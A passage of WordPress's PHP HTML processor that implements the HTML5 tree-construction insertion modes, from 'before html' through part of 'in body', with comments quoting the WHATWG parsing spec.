				$this->insert_html_element( $this->state->current_token );
				return true;
		}

		/*
		 * > Anything else
		 */
		initial_anything_else:
		$this->compat_mode           = WP_HTML_Tag_Processor::QUIRKS_MODE;
		$this->state->insertion_mode = WP_HTML_Processor_State::INSERTION_MODE_BEFORE_HTML;
		return $this->step( self::REPROCESS_CURRENT_NODE );
	}

	/**
	 * Parses next element in the 'before html' insertion mode.
	 *
	 * This internal function performs the 'before html' insertion mode
	 * logic for the generalized WP_HTML_Processor::step() function.
	 *
	 * @since 6.7.0
	 *
	 * @throws WP_HTML_Unsupported_Exception When encountering unsupported HTML input.
	 *
	 * @see https://html.spec.whatwg.org/#the-before-html-insertion-mode
	 * @see WP_HTML_Processor::step
	 *
	 * @return bool Whether an element was found.
	 */
	private function step_before_html(): bool {
		$token_name = $this->get_token_name();
		$token_type = $this->get_token_type();
		$is_closer  = parent::is_tag_closer();
		$op_sigil   = '#tag' === $token_type ? ( $is_closer ? '-' : '+' ) : '';
		$op         = "{$op_sigil}{$token_name}";

		switch ( $op ) {
			/*
			 * > A DOCTYPE token
			 */
			case 'html':
				// Parse error: ignore the token.
				return $this->step();

			/*
			 * > A comment token
			 */
			case '#comment':
			case '#funky-comment':
			case '#presumptuous-tag':
				$this->insert_html_element( $this->state->current_token );
				return true;

			/*
			 * > A character token that is one of U+0009 CHARACTER TABULATION,
			 * > U+000A LINE FEED (LF), U+000C FORM FEED (FF),
			 * > U+000D CARRIAGE RETURN (CR), or U+0020 SPACE
			 *
			 * Parse error: ignore the token.
			 */
			case '#text':
				if ( parent::TEXT_IS_WHITESPACE === $this->text_node_classification ) {
					return $this->step();
				}
				goto before_html_anything_else;
				break;

			/*
			 * > A start tag whose tag name is "html"
			 */
			case '+HTML':
				$this->insert_html_element( $this->state->current_token );
				$this->state->insertion_mode = WP_HTML_Processor_State::INSERTION_MODE_BEFORE_HEAD;
				return true;

			/*
			 * > An end tag whose tag name is one of: "head", "body", "html", "br"
			 *
			 * Closing BR tags are always reported by the Tag Processor as opening tags.
			 */
			case '-HEAD':
			case '-BODY':
			case '-HTML':
				/*
				 * > Act as described in the "anything else" entry below.
				 */
				goto before_html_anything_else;
				break;
		}

		/*
		 * > Any other end tag
		 */
		if ( $is_closer ) {
			// Parse error: ignore the token.
			return $this->step();
		}

		/*
		 * > Anything else.
		 *
		 * > Create an html element whose node document is the Document object.
		 * > Append it to the Document object. Put this element in the stack of open elements.
		 * > Switch the insertion mode to "before head", then reprocess the token.
		 */
		before_html_anything_else:
		$this->insert_virtual_node( 'HTML' );
		$this->state->insertion_mode = WP_HTML_Processor_State::INSERTION_MODE_BEFORE_HEAD;
		return $this->step( self::REPROCESS_CURRENT_NODE );
	}

	/**
	 * Parses next element in the 'before head' insertion mode.
	 *
	 * This internal function performs the 'before head' insertion mode
	 * logic for the generalized WP_HTML_Processor::step() function.
	 *
	 * @since 6.7.0 Stub implementation.
	 *
	 * @throws WP_HTML_Unsupported_Exception When encountering unsupported HTML input.
	 *
	 * @see https://html.spec.whatwg.org/#the-before-head-insertion-mode
	 * @see WP_HTML_Processor::step
	 *
	 * @return bool Whether an element was found.
	 */
	private function step_before_head(): bool {
		$token_name = $this->get_token_name();
		$token_type = $this->get_token_type();
		$is_closer  = parent::is_tag_closer();
		$op_sigil   = '#tag' === $token_type ? ( $is_closer ? '-' : '+' ) : '';
		$op         = "{$op_sigil}{$token_name}";

		switch ( $op ) {
			/*
			 * > A character token that is one of U+0009 CHARACTER TABULATION,
			 * > U+000A LINE FEED (LF), U+000C FORM FEED (FF),
			 * > U+000D CARRIAGE RETURN (CR), or U+0020 SPACE
			 *
			 * Parse error: ignore the token.
			 */
			case '#text':
				if ( parent::TEXT_IS_WHITESPACE === $this->text_node_classification ) {
					return $this->step();
				}
				goto before_head_anything_else;
				break;

			/*
			 * > A comment token
			 */
			case '#comment':
			case '#funky-comment':
			case '#presumptuous-tag':
				$this->insert_html_element( $this->state->current_token );
				return true;

			/*
			 * > A DOCTYPE token
			 */
			case 'html':
				// Parse error: ignore the token.
				return $this->step();

			/*
			 * > A start tag whose tag name is "html"
			 */
			case '+HTML':
				return $this->step_in_body();

			/*
			 * > A start tag whose tag name is "head"
			 */
			case '+HEAD':
				$this->insert_html_element( $this->state->current_token );
				$this->state->head_element   = $this->state->current_token;
				$this->state->insertion_mode = WP_HTML_Processor_State::INSERTION_MODE_IN_HEAD;
				return true;

			/*
			 * > An end tag whose tag name is one of: "head", "body", "html", "br"
			 * > Act as described in the "anything else" entry below.
			 *
			 * Closing BR tags are always reported by the Tag Processor as opening tags.
			 */
			case '-HEAD':
			case '-BODY':
			case '-HTML':
				goto before_head_anything_else;
				break;
		}

		if ( $is_closer ) {
			// Parse error: ignore the token.
			return $this->step();
		}

		/*
		 * > Anything else
		 *
		 * > Insert an HTML element for a "head" start tag token with no attributes.
		 */
		before_head_anything_else:
		$this->state->head_element   = $this->insert_virtual_node( 'HEAD' );
		$this->state->insertion_mode = WP_HTML_Processor_State::INSERTION_MODE_IN_HEAD;
		return $this->step( self::REPROCESS_CURRENT_NODE );
	}

	/**
	 * Parses next element in the 'in head' insertion mode.
	 *
	 * This internal function performs the 'in head' insertion mode
	 * logic for the generalized WP_HTML_Processor::step() function.
	 *
	 * @since 6.7.0
	 *
	 * @throws WP_HTML_Unsupported_Exception When encountering unsupported HTML input.
	 *
	 * @see https://html.spec.whatwg.org/multipage/parsing.html#parsing-main-inhead
	 * @see WP_HTML_Processor::step
	 *
	 * @return bool Whether an element was found.
	 */
	private function step_in_head(): bool {
		$token_name = $this->get_token_name();
		$token_type = $this->get_token_type();
		$is_closer  = parent::is_tag_closer();
		$op_sigil   = '#tag' === $token_type ? ( $is_closer ? '-' : '+' ) : '';
		$op         = "{$op_sigil}{$token_name}";

		switch ( $op ) {
			case '#text':
				/*
				 * > A character token that is one of U+0009 CHARACTER TABULATION,
				 * > U+000A LINE FEED (LF), U+000C FORM FEED (FF),
				 * > U+000D CARRIAGE RETURN (CR), or U+0020 SPACE
				 */
				if ( parent::TEXT_IS_WHITESPACE === $this->text_node_classification ) {
					// Insert the character.
					$this->insert_html_element( $this->state->current_token );
					return true;
				}

				goto in_head_anything_else;
				break;

			/*
			 * > A comment token
			 */
			case '#comment':
			case '#funky-comment':
			case '#presumptuous-tag':
				$this->insert_html_element( $this->state->current_token );
				return true;

			/*
			 * > A DOCTYPE token
			 */
			case 'html':
				// Parse error: ignore the token.
				return $this->step();

			/*
			 * > A start tag whose tag name is "html"
			 */
			case '+HTML':
				return $this->step_in_body();

			/*
			 * > A start tag whose tag name is one of: "base", "basefont", "bgsound", "link"
			 */
			case '+BASE':
			case '+BASEFONT':
			case '+BGSOUND':
			case '+LINK':
				$this->insert_html_element( $this->state->current_token );
				return true;

			/*
			 * > A start tag whose tag name is "meta"
			 */
			case '+META':
				$this->insert_html_element( $this->state->current_token );

				// All following conditions depend on "tentative" encoding confidence.
				if ( 'tentative' !== $this->state->encoding_confidence ) {
					return true;
				}

				/*
				 * > If the active speculative HTML parser is null, then:
				 * >   - If the element has a charset attribute, and getting an encoding from
				 * >     its value results in an encoding, and the confidence is currently
				 * >     tentative, then change the encoding to the resulting encoding.
				 */
				$charset = $this->get_attribute( 'charset' );
				if ( is_string( $charset ) ) {
					$this->bail( 'Cannot yet process META tags with charset to determine encoding.' );
				}

				/*
				 * >   - Otherwise, if the element has an http-equiv attribute whose value is
				 * >     an ASCII case-insensitive match for the string "Content-Type", and
				 * >     the element has a content attribute, and applying the algorithm for
				 * >     extracting a character encoding from a meta element to that attribute's
				 * >     value returns an encoding, and the confidence is currently tentative,
				 * >     then change the encoding to the extracted encoding.
				 */
				$http_equiv = $this->get_attribute( 'http-equiv' );
				$content    = $this->get_attribute( 'content' );
				if (
					is_string( $http_equiv ) &&
					is_string( $content ) &&
					0 === strcasecmp( $http_equiv, 'Content-Type' )
				) {
					$this->bail( 'Cannot yet process META tags with http-equiv Content-Type to determine encoding.' );
				}

				return true;

			/*
			 * > A start tag whose tag name is "title"
			 */
			case '+TITLE':
				$this->insert_html_element( $this->state->current_token );
				return true;

			/*
			 * > A start tag whose tag name is "noscript", if the scripting flag is enabled
			 * > A start tag whose tag name is one of: "noframes", "style"
			 *
			 * The scripting flag is never enabled in this parser.
			 */
			case '+NOFRAMES':
			case '+STYLE':
				$this->insert_html_element( $this->state->current_token );
				return true;

			/*
			 * > A start tag whose tag name is "noscript", if the scripting flag is disabled
			 */
			case '+NOSCRIPT':
				$this->insert_html_element( $this->state->current_token );
				$this->state->insertion_mode = WP_HTML_Processor_State::INSERTION_MODE_IN_HEAD_NOSCRIPT;
				return true;

			/*
			 * > A start tag whose tag name is "script"
			 *
			 * @todo Could the adjusted insertion location be anything other than the current location?
			 */
			case '+SCRIPT':
				$this->insert_html_element( $this->state->current_token );
				return true;

			/*
			 * > An end tag whose tag name is "head"
			 */
			case '-HEAD':
				$this->state->stack_of_open_elements->pop();
				$this->state->insertion_mode = WP_HTML_Processor_State::INSERTION_MODE_AFTER_HEAD;
				return true;

			/*
			 * > An end tag whose tag name is one of: "body", "html", "br"
			 *
			 * BR tags are always reported by the Tag Processor as opening tags.
			 */
			case '-BODY':
			case '-HTML':
				/*
				 * > Act as described in the "anything else" entry below.
				 */
				goto in_head_anything_else;
				break;

			/*
			 * > A start tag whose tag name is "template"
			 *
			 * @todo Could the adjusted insertion location be anything other than the current location?
			 */
			case '+TEMPLATE':
				$this->state->active_formatting_elements->insert_marker();
				$this->state->frameset_ok = false;

				$this->state->insertion_mode                      = WP_HTML_Processor_State::INSERTION_MODE_IN_TEMPLATE;
				$this->state->stack_of_template_insertion_modes[] = WP_HTML_Processor_State::INSERTION_MODE_IN_TEMPLATE;

				$this->insert_html_element( $this->state->current_token );
				return true;

			/*
			 * > An end tag whose tag name is "template"
			 */
			case '-TEMPLATE':
				if ( ! $this->state->stack_of_open_elements->contains( 'TEMPLATE' ) ) {
					// @todo Indicate a parse error once it's possible.
					return $this->step();
				}

				$this->generate_implied_end_tags_thoroughly();
				if ( ! $this->state->stack_of_open_elements->current_node_is( 'TEMPLATE' ) ) {
					// @todo Indicate a parse error once it's possible.
				}

				$this->state->stack_of_open_elements->pop_until( 'TEMPLATE' );
				$this->state->active_formatting_elements->clear_up_to_last_marker();
				array_pop( $this->state->stack_of_template_insertion_modes );
				$this->reset_insertion_mode_appropriately();
				return true;
		}

		/*
		 * > A start tag whose tag name is "head"
		 * > Any other end tag
		 */
		if ( '+HEAD' === $op || $is_closer ) {
			// Parse error: ignore the token.
			return $this->step();
		}

		/*
		 * > Anything else
		 */
		in_head_anything_else:
		$this->state->stack_of_open_elements->pop();
		$this->state->insertion_mode = WP_HTML_Processor_State::INSERTION_MODE_AFTER_HEAD;
		return $this->step( self::REPROCESS_CURRENT_NODE );
	}

	/**
	 * Parses next element in the 'in head noscript' insertion mode.
	 *
	 * This internal function performs the 'in head noscript' insertion mode
	 * logic for the generalized WP_HTML_Processor::step() function.
	 *
	 * @since 6.7.0 Stub implementation.
	 *
	 * @throws WP_HTML_Unsupported_Exception When encountering unsupported HTML input.
	 *
	 * @see https://html.spec.whatwg.org/#parsing-main-inheadnoscript
	 * @see WP_HTML_Processor::step
	 *
	 * @return bool Whether an element was found.
	 */
	private function step_in_head_noscript(): bool {
		$token_name = $this->get_token_name();
		$token_type = $this->get_token_type();
		$is_closer  = parent::is_tag_closer();
		$op_sigil   = '#tag' === $token_type ? ( $is_closer ? '-' : '+' ) : '';
		$op         = "{$op_sigil}{$token_name}";

		switch ( $op ) {
			/*
			 * > A character token that is one of U+0009 CHARACTER TABULATION,
			 * > U+000A LINE FEED (LF), U+000C FORM FEED (FF),
			 * > U+000D CARRIAGE RETURN (CR), or U+0020 SPACE
			 *
			 * Parse error: ignore the token.
			 */
			case '#text':
				if ( parent::TEXT_IS_WHITESPACE === $this->text_node_classification ) {
					return $this->step_in_head();
				}

				goto in_head_noscript_anything_else;
				break;

			/*
			 * > A DOCTYPE token
			 */
			case 'html':
				// Parse error: ignore the token.
				return $this->step();

			/*
			 * > A start tag whose tag name is "html"
			 */
			case '+HTML':
				return $this->step_in_body();

			/*
			 * > An end tag whose tag name is "noscript"
			 */
			case '-NOSCRIPT':
				$this->state->stack_of_open_elements->pop();
				$this->state->insertion_mode = WP_HTML_Processor_State::INSERTION_MODE_IN_HEAD;
				return true;

			/*
			 * > A comment token
			 * >
			 * > A start tag whose tag name is one of: "basefont", "bgsound",
			 * > "link", "meta", "noframes", "style"
			 */
			case '#comment':
			case '#funky-comment':
			case '#presumptuous-tag':
			case '+BASEFONT':
			case '+BGSOUND':
			case '+LINK':
			case '+META':
			case '+NOFRAMES':
			case '+STYLE':
				return $this->step_in_head();

			/*
			 * > An end tag whose tag name is "br"
			 *
			 * This should never happen, as the Tag Processor prevents showing a BR closing tag.
			 */
		}

		/*
		 * > A start tag whose tag name is one of: "head", "noscript"
		 * > Any other end tag
		 */
		if ( '+HEAD' === $op || '+NOSCRIPT' === $op || $is_closer ) {
			// Parse error: ignore the token.
			return $this->step();
		}

		/*
		 * > Anything else
		 *
		 * Anything here is a parse error.
		 */
		in_head_noscript_anything_else:
		$this->state->stack_of_open_elements->pop();
		$this->state->insertion_mode = WP_HTML_Processor_State::INSERTION_MODE_IN_HEAD;
		return $this->step( self::REPROCESS_CURRENT_NODE );
	}

	/**
	 * Parses next element in the 'after head' insertion mode.
	 *
	 * This internal function performs the 'after head' insertion mode
	 * logic for the generalized WP_HTML_Processor::step() function.
	 *
	 * @since 6.7.0 Stub implementation.
	 *
	 * @throws WP_HTML_Unsupported_Exception When encountering unsupported HTML input.
	 *
	 * @see https://html.spec.whatwg.org/#the-after-head-insertion-mode
	 * @see WP_HTML_Processor::step
	 *
	 * @return bool Whether an element was found.
	 */
	private function step_after_head(): bool {
		$token_name = $this->get_token_name();
		$token_type = $this->get_token_type();
		$is_closer  = parent::is_tag_closer();
		$op_sigil   = '#tag' === $token_type ? ( $is_closer ? '-' : '+' ) : '';
		$op         = "{$op_sigil}{$token_name}";

		switch ( $op ) {
			/*
			 * > A character token that is one of U+0009 CHARACTER TABULATION,
			 * > U+000A LINE FEED (LF), U+000C FORM FEED (FF),
			 * > U+000D CARRIAGE RETURN (CR), or U+0020 SPACE
			 */
			case '#text':
				if ( parent::TEXT_IS_WHITESPACE === $this->text_node_classification ) {
					// Insert the character.
					$this->insert_html_element( $this->state->current_token );
					return true;
				}
				goto after_head_anything_else;
				break;

			/*
			 * > A comment token
			 */
			case '#comment':
			case '#funky-comment':
			case '#presumptuous-tag':
				$this->insert_html_element( $this->state->current_token );
				return true;

			/*
			 * > A DOCTYPE token
			 */
			case 'html':
				// Parse error: ignore the token.
				return $this->step();

			/*
			 * > A start tag whose tag name is "html"
			 */
			case '+HTML':
				return $this->step_in_body();

			/*
			 * > A start tag whose tag name is "body"
			 */
			case '+BODY':
				$this->insert_html_element( $this->state->current_token );
				$this->state->frameset_ok    = false;
				$this->state->insertion_mode = WP_HTML_Processor_State::INSERTION_MODE_IN_BODY;
				return true;

			/*
			 * > A start tag whose tag name is "frameset"
			 */
			case '+FRAMESET':
				$this->insert_html_element( $this->state->current_token );
				$this->state->insertion_mode = WP_HTML_Processor_State::INSERTION_MODE_IN_FRAMESET;
				return true;

			/*
			 * > A start tag whose tag name is one of: "base", "basefont", "bgsound",
			 * > "link", "meta", "noframes", "script", "style", "template", "title"
			 *
			 * Anything here is a parse error.
			 */
			case '+BASE':
			case '+BASEFONT':
			case '+BGSOUND':
			case '+LINK':
			case '+META':
			case '+NOFRAMES':
			case '+SCRIPT':
			case '+STYLE':
			case '+TEMPLATE':
			case '+TITLE':
				/*
				 * > Push the node pointed to by the head element pointer onto the stack of open elements.
				 * > Process the token using the rules for the "in head" insertion mode.
				 * > Remove the node pointed to by the head element pointer from the stack of open elements. (It might not be the current node at this point.)
				 */
				$this->bail( 'Cannot process elements after HEAD which reopen the HEAD element.' );
				/*
				 * Do not leave this break in when adding support; it's here to prevent
				 * WPCS from getting confused at the switch structure without a return,
				 * because it doesn't know that `bail()` always throws.
				 */
				break;

			/*
			 * > An end tag whose tag name is "template"
			 */
			case '-TEMPLATE':
				return $this->step_in_head();

			/*
			 * > An end tag whose tag name is one of: "body", "html", "br"
			 *
			 * Closing BR tags are always reported by the Tag Processor as opening tags.
			 */
			case '-BODY':
			case '-HTML':
				/*
				 * > Act as described in the "anything else" entry below.
				 */
				goto after_head_anything_else;
				break;
		}

		/*
		 * > A start tag whose tag name is "head"
		 * > Any other end tag
		 */
		if ( '+HEAD' === $op || $is_closer ) {
			// Parse error: ignore the token.
			return $this->step();
		}

		/*
		 * > Anything else
		 * > Insert an HTML element for a "body" start tag token with no attributes.
		 */
		after_head_anything_else:
		$this->insert_virtual_node( 'BODY' );
		$this->state->insertion_mode = WP_HTML_Processor_State::INSERTION_MODE_IN_BODY;
		return $this->step( self::REPROCESS_CURRENT_NODE );
	}

	/**
	 * Parses next element in the 'in body' insertion mode.
	 *
	 * This internal function performs the 'in body' insertion mode
	 * logic for the generalized WP_HTML_Processor::step() function.
	 *
	 * @since 6.4.0
	 *
	 * @throws WP_HTML_Unsupported_Exception When encountering unsupported HTML input.
	 *
	 * @see https://html.spec.whatwg.org/#parsing-main-inbody
	 * @see WP_HTML_Processor::step
	 *
	 * @return bool Whether an element was found.
	 */
	private function step_in_body(): bool {
		$token_name = $this->get_token_name();
		$token_type = $this->get_token_type();
		$op_sigil   = '#tag' === $token_type ? ( parent::is_tag_closer() ? '-' : '+' ) : '';
		$op         = "{$op_sigil}{$token_name}";

		switch ( $op ) {
			case '#text':
				/*
				 * > A character token that is U+0000 NULL
				 *
				 * Any successive sequence of NULL bytes is ignored and won't
				 * trigger active format reconstruction. Therefore, if the text
				 * only comprises NULL bytes then the token should be ignored
				 * here, but if there are any other characters in the stream
				 * the active formats should be reconstructed.
				 */
				if ( parent::TEXT_IS_NULL_SEQUENCE === $this->text_node_classification ) {
					// Parse error: ignore the token.
					return $this->step();
				}

				$this->reconstruct_active_formatting_elements();

				/*
				 * Whitespace-only text does not affect the frameset-ok flag.
				 * It is probably inter-element whitespace, but it may also
				 * contain character references which decode only to whitespace.
				 */
				if ( parent::TEXT_IS_GENERIC === $this->text_node_classification ) {
					$this->state->frameset_ok = false;
				}

				$this->insert_html_element( $this->state->current_token );
				return true;

			case '#comment':
			case '#funky-comment':
			case '#presumptuous-tag':
				$this->insert_html_element( $this->state->current_token );
				return true;

			/*
			 * > A DOCTYPE token
			 * > Parse error. Ignore the token.
			 */
			case 'html':
				return $this->step();

			/*
			 * > A start tag whose tag name is "html"
			 */
			case '+HTML':
				if ( ! $this->state->stack_of_open_elements->contains( 'TEMPLATE' ) ) {
					/*
					 * > Otherwise, for each attribute on the token, check to see if the attribute
					 * > is already present on the top element of the stack of open elements. If
					 * > it is not, add the attribute and its corresponding value to that element.
					 *
					 * This parser does not currently support this behavior: ignore the token.
					 */
				}

				// Ignore the token.
				return $this->step();

			/*
			 * > A start tag whose tag name is one of: "base", "basefont", "bgsound", "link",
			 * > "meta", "noframes", "script", "style", "template", "title"
			 * >
			 * > An end tag whose tag name is "template"
			 */
			case '+BASE':
			case '+BASEFONT':
			case '+BGSOUND':
			case '+LINK':
			case '+META':
			case '+NOFRAMES':
			case '+SCRIPT':
			case '+STYLE':
			case '+TEMPLATE':
			case '+TITLE':
			case '-TEMPLATE':
				return $this->step_in_head();

			/*
			 * > A start tag whose tag name is "body"
			 *
			 * This tag in the IN BODY insertion mode is a parse error.
			 */
			case '+BODY':
				if (
					1 === $this->state->stack_of_open_elements->count() ||
					'BODY' !== ( $this->state->stack_of_open_elements->at( 2 )->node_name ?? null ) ||
					$this->state->stack_of_open_elements->contains( 'TEMPLATE' )
				) {
					// Ignore the token.
					return $this->step();
				}

				/*
				 * > Otherwise, set the frameset-ok flag to "not ok"; then, for each attribute
				 * > on the token, check to see if the attribute is already present on the body
				 * > element (the second element) on the stack of open elements, and if it is
				 * > not, add the attribute and its corresponding value to that element.
				 *
				 * This parser does not currently support this behavior: ignore the token.
				 */
				$this->state->frameset_ok = false;
				return $this->step();

			/*
			 * > A start tag whose tag name is "frameset"
			 *
			 * This tag in the IN BODY insertion mode is a parse error.
			 */
			case '+FRAMESET':
				if (
					1 === $this->state->stack_of_open_elements->count() ||
					'BODY' !== ( $this->state->stack_of_open_elements->at( 2 )->node_name ?? null ) ||
					false === $this->state->frameset_ok
				) {
					// Ignore the token.
					return $this->step();
				}

				/*
				 * > Otherwise, run the following steps:
				 */
				$this->bail( 'Cannot process non-ignored FRAMESET tags.' );
				break;

			/*
			 * > An end tag whose tag name is "body"
			 */
			case '-BODY':
				if ( ! $this->state->stack_of_open_elements->has_element_in_scope( 'BODY' ) ) {
					// Parse error: ignore the token.
					return $this->step();
				}

				/*
				 * > Otherwise, if there is a node in the stack of open elements that is not either a
				 * > dd element, a dt element, an li element, an optgroup element, an option element,
				 * > a p element, an rb element, an rp element, an rt element, an rtc element, a tbody
				 * > element, a td element, a tfoot element, a th element, a thread element, a tr
				 * > element, the body element, or the html element, then this is a parse error.
				 *
				 * There is nothing to do for this parse error, so don't check for it.
				 */

				$this->state->insertion_mode = WP_HTML_Processor_State::INSERTION_MODE_AFTER_BODY;
				/*
				 * The BODY element is not removed from the stack of open elements.
				 * Only internal state has changed, this does not qualify as a "step"
				 * in terms of advancing through the document to another token.
				 * Nothing has been pushed or popped.
				 * Proceed to parse the next item.
				 */
				return $this->step();

			/*
			 * > An end tag whose tag name is "html"
			 */
			case '-HTML':
				if ( ! $this->state->stack_of_open_elements->has_element_in_scope( 'BODY' ) ) {
					// Parse error: ignore the token.
					return $this->step();
				}

				/*
				 * > Otherwise, if there is a node in the stack of open elements that is not either a
				 * > dd element, a dt element, an li element, an optgroup element, an option element,
				 * > a p element, an rb element, an rp element, an rt element, an rtc element, a tbody
				 * > element, a td element, a tfoot element, a th element, a thread element, a tr
				 * > element, the body element, or the html element, then this is a parse error.
				 *
				 * There is nothing to do for this parse error, so don't check for it.
				 */

				$this->state->insertion_mode = WP_HTML_Processor_State::INSERTION_MODE_AFTER_BODY;
				return $this->step( self::REPROCESS_CURRENT_NODE );

			/*
			 * > A start tag whose tag name is one of: "address", "article", "aside",
			 * > "blockquote", "center", "details", "dialog", "dir", "div", "dl",
			 * > "fieldset", "figcaption", "figure", "footer", "header", "hgroup",
			 * > "main", "menu", "nav", "ol", "p", "search", "section", "summary", "ul"
			 */
			case '+ADDRESS':
			case '+ARTICLE':
			case '+ASIDE':
			case '+BLOCKQUOTE':
			case '+CENTER':
			case '+DETAILS':
			case '+DIALOG':
			case '+DIR':
			case '+DIV':
			case '+DL':
			case '+FIELDSET':
			case '+FIGCAPTION':
			case '+FIGURE':
			case '+FOOTER':
			case '+HEADER':
			case '+HGROUP':
			case '+MAIN':
			case '+MENU':
			case '+NAV':
			case '+OL':
			case '+P':
			case '+SEARCH':
			case '+SECTION':
			case '+SUMMARY':
			case '+UL':
				if ( $this->state->stack_of_open_elements->has_p_in_button_scope() ) {
					$this->close_a_p_element();
				}

				$this->insert_html_element( $this->state->current_token );
				return true;

			/*
			 * > A start tag whose tag name is one of: "h1", "h2", "h3", "h4", "h5", "h6"
			 */
			case '+H1':
			case '+H2':
			case '+H3':
			case '+H4':
			case '+H5':
			case '+H6':
				if ( $this->state->stack_of_open_elements->has_p_in_button_scope() ) {
					$this->close_a_p_element();
				}

				if (
					in_array(
						$this->state->stack_of_open_elements->current_node()->node_name,
						array( 'H1', 'H2', 'H3', 'H4', 'H5', 'H6' ),
						true
					)
				) {
					// @todo Indicate a parse error once it's possible.
					$this->state->stack_of_open_elements->pop();
				}

				$this->insert_html_element( $this->state->current_token );
				return true;

			/*
			 * > A start tag whose tag name is one of: "pre", "listing"
			 */
			case '+PRE':
			case '+LISTING':
				if ( $this->state->stack_of_open_elements->has_p_in_button_scope() ) {
					$this->close_a_p_element();
				}

				/*
				 * > If the next token is a U+000A LINE FEED (LF) character token,
				 * > then ignore that token and move on to the next one. (Newlines
				 * > at the start of pre blocks are ignored as an authoring convenience.)
				 *
				 * This is handled in `get_modifiable_text()`.
				 */

				$this->insert_html_element( $this->state->current_token );
				$this->state->frameset_ok = false;
				return true;

			/*
			 * > A start tag whose tag name is "form"
			 */
			case '+FORM':
				$stack_contains_template = $this->state->stack_of_open_elements->contains( 'TEMPLATE' );

				if ( isset( $this->state->form_element ) && ! $stack_contains_template ) {
					// Parse error: ignore the token.
					return $this->step();
				}

				if ( $this->state->stack_of_open_elements->has_p_in_button_scope() ) {
					$this->close_a_p_element();
				}

				$this->insert_html_element( $this->state->current_token );
				if ( ! $stack_contains_template ) {
					$this->state->form_element = $this->state->current_token;
				}

				return true;

			/*
			 * > A start tag whose tag name is "li"
			 * > A start tag whose tag name is one of: "dd", "dt"
			 */
			case '+DD':
			case '+DT':
			case '+LI':
				$this->state->frameset_ok = false;
				$node                     = $this->state->stack_of_open_elements->current_node();
				$is_li                    = 'LI' === $token_name;

				in_body_list_loop:
				/*
				 * The logic for LI and DT/DD is the same except for one point: LI elements _only_
				 * close other LI elements, but a DT or DD element closes _any_ open DT or DD element.
				 */
				if ( $is_li ? 'LI' === $node->node_name : ( 'DD' === $node->node_name || 'DT' === $node->node_name ) ) {
					$node_name = $is_li ? 'LI' : $node->node_name;
					$this->generate_implied_end_tags( $node_name );
					if ( ! $this->state->stack_of_open_elements->current_node_is( $node_name ) ) {
						// @todo Indicate a parse error once it's possible. This error does not impact the logic here.
					}

					$this->state->stack_of_open_elements->pop_until( $node_name );
					goto in_body_list_done;
				}

				if (
					'ADDRESS' !== $node->node_name &&
					'DIV' !== $node->node_name &&
					'P' !== $node->node_name &&
					self::is_special( $node )
				) {
					/*
					 * > If node is in the special category, but is not an address, div,
					 * > or p element, then jump to the step labeled done below.
					 */
					goto in_body_list_done;
				} else {
					/*
					 * > Otherwise, set node to the previous entry in the stack of open elements
					 * > and return to the step labeled loop.
					 */
					foreach ( $this->state->stack_of_open_elements->walk_up( $node ) as $item ) {
						$node = $item;
						break;
					}
					goto in_body_list_loop;
				}

				in_body_list_done:
				if ( $this->state->stack_of_open_elements->has_p_in_button_scope() ) {
					$this->close_a_p_element();
				}

				$this->insert_html_element( $this->state->current_token );
				return true;

			case '+PLAINTEXT':
				if ( $this->state->stack_of_open_elements->has_p_in_button_scope() ) {
					$this->close_a_p_element();
				}

				/*
				 * @todo This may need to be handled in the Tag Processor and turn into
				 *       a single self-contained tag like TEXTAREA, whose modifiable text
				 *       is the rest of the input document as plaintext.
				 */
				$this->bail( 'Cannot process PLAINTEXT elements.' );
				break;

			/*
			 * > A start tag whose tag name is "button"
			 */
			case '+BUTTON':
				if ( $this->state->stack_of_open_elements->has_element_in_scope( 'BUTTON' ) ) {
					// @todo Indicate a parse error once it's possible. This error does not impact the logic here.
					$this->generate_implied_end_tags();
					$this->state->stack_of_open_elements->pop_until( 'BUTTON' );
				}

				$this->reconstruct_active_formatting_elements();
				$this->insert_html_element( $this->state->current_token );
				$this->state->frameset_ok = false;

				return true;

			/*
			 * > An end tag whose tag name is one of: "address", "article", "aside", "blockquote",
			 * > "button", "center", "details", "dialog", "dir", "div", "dl", "fieldset",
			 * > "figcaption", "figure", "footer", "header", "hgroup", "listing", "main",
			 * > "menu", "nav", "ol", "pre", "search", "section", "summary", "ul"
			 */
			case '-ADDRESS':
			case '-ARTICLE':
			case '-ASIDE':
			case '-BLOCKQUOTE':
			case '-BUTTON':
			case '-CENTER':
			case '-DETAILS':
			case '-DIALOG':
			case '-DIR':
			case '-DIV':
			case '-DL':
			case '-FIELDSET':
			case '-FIGCAPTION':
			case '-FIGURE':
			case '-FOOTER':
			case '-HEADER':
			case '-HGROUP':
			case '-LISTING':
			case '-MAIN':
			case '-MENU':
			case '-NAV':
			case '-OL':
			case '-PRE':
			case '-SEARCH':
			case '-SECTION':
			case '-SUMMARY':
			case '-UL':
				if ( ! $this->state->stack_of_open_elements->has_element_in_scope( $token_name ) ) {
					// @todo Report parse error.
					// Ignore the token.
					return $this->step();
				}

				$this->generate_implied_end_tags();
				if ( ! $this->state->stack_of_open_elements->current_node_is( $token_name ) ) {
					// @todo Record parse error: this error doesn't impact parsing.
				}
				$this->state->stack_of_open_elements->pop_until( $token_name );
				return true;

			/*
			 * > An end tag whose tag name is "form"
			 */
			case '-FORM':
				if ( ! $this->state->stack_of_open_elements->contains( 'TEMPLATE' ) ) {
					$node                      = $this->state->form_element;
					$this->state->form_element = null;

					/*
					 * > If node is null or if the stack of open elements does not have node
					 * > in scope, then this is a parse error; return and ignore the token.
					 *
					 * @todo It's necessary to check if the form token itself is in scope, not
					 *       simply whether any FORM is in scope.
					 */
					if (
						null === $node ||
						! $this->state->stack_of_open_elements->has_element_in_scope( 'FORM' )
					) {
						// Parse error: ignore the token.
						return $this->step();
					}

					$this->generate_implied_end_tags();
					if ( $node !== $this->state->stack_of_open_elements->current_node() ) {
						// @todo Indicate a parse error once it's possible. This error does not impact the logic here.
						$this->bail( 'Cannot close a FORM when other elements remain open as this would throw off the breadcrumbs for the following tokens.' );
					}

					$this->state->stack_of_open_elements->remove_node( $node );
					return true;
				} else {
					/*
					 * > If the stack of open elements does not have a form element in scope,
					 * > then this is a parse error; return and ignore the token.
					 *
					 * Note that unlike in the clause above, this is checking for any FORM in scope.
					 */
					if ( ! $this->state->stack_of_open_elements->has_element_in_scope( 'FORM' ) ) {
						// Parse error: ignore the token.
						return $this->step();
					}

					$this->generate_implied_end_tags();

					if ( ! $this->state->stack_of_open_elements->current_node_is( 'FORM' ) ) {
						// @todo Indicate a parse error once it's possible. This error does not impact the logic here.
					}

					$this->state->stack_of_open_elements->pop_until( 'FORM' );
